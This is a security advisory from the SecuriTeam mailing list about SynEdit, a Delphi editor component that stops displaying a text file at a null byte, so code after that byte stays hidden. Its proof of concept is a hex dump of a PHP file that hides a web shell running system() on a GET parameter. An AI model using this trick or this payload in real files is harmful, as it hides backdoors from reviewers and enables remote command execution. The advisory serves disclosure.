[NEWS] SynEdit Null Code Obfuscation

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  SynEdit  Null Code Obfuscation
------------------------------------------------------------------------


SUMMARY

 <http://sourceforge.net/projects/synedit/> SynEdit is a syntax 
highlighting edit control, not based on the Windows common controls For 
Borland Delphi, Kylix and FreePascal.

An attacker can craft special text file that will hide it's information 
from any program that uses SynEdit component as main editor, and will 
allow  hidden  text to be compile as well.

DETAILS

SynEdit does not filter chars properly, which cause a null terminated char 
to stop the reading of SynEdit string that was loaded from a text file.

Attackers can exploit this vulnerability by placing a null char inside a 
text file and malicious code, and when a user will open the text file 
using a synedit based program, the text itself (from the null terminated 
char position and forward) will not be displayed to the user.

Proof of Concept:
3c 3f 70 68 70 20 65 63 68 6f 20 27 68 65 6c 6c    < ? p h p  e c h o  ' h 
e l l
6f 21 27 3b 00 20 73 79 73 74 65 6d 28 24 48 54    o ! ' ;   s y s t e m ( 
$ H T
54 50 5f 47 45 54 5f 56 41 52 53 5b 63 6f 6d 6d    T P _ G E T _ V A R S [ 
c o m m
61 6e 64 5d 29 3b 20 3f 3e                                      a n d ] ) 
;  ? >


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
retrogod.
The original article can be found at:  
<http://rgod.altervista.org/devcpp.html> 
http://rgod.altervista.org/devcpp.html,
 <http://rgod.altervista.org/syn.html> http://rgod.altervista.org/syn.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.